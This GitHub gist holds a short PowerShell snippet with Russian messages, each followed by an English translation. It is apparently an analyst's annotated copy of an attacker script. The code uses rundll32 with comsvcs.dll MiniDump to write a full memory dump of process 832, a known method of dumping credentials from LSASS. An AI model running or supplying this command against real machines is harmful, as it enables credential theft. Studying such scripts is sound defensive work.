Skip to content

Instantly share code, notes, and snippets.

@Purp1eW0lf
Last active January 8, 2026 21:30
Show Gist options
  • Select an option

  • Save Purp1eW0lf/baeb86c8185125f5daf8dc156779003f to your computer and use it in GitHub Desktop.

Select an option

Save Purp1eW0lf/baeb86c8185125f5daf8dc156779003f to your computer and use it in GitHub Desktop.
## Comments are inserted English translation of Russian strings
Write-Host "Пробуем создать дамп: $dumpFile` ## Trying to create dump: $dumpFile
# Метод 1: Через Start-Process` ## Method 1: Via Start-Process
Start-Process -FilePath "rundll32.exe" -ArgumentList "C:\Windows\System32\comsvcs.dll, MiniDump 832 $dumpFile full" -Wait -NoNewWindow`
# Проверяем результат` ## Checking the result
if (Test-Path $dumpFile) {`
$file = Get-Item $dumpFile`
Write-Host "Успешно! Размер файла: $([math]::Round($file.Length/1MB, 2)) MB"` ## Success! File size
Write-Host "Путь: $($file.FullName)"` ## Path
} else {
Write-Host "Файл не создан. Пробуем другой метод..."` ## File not created. Trying another method...
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment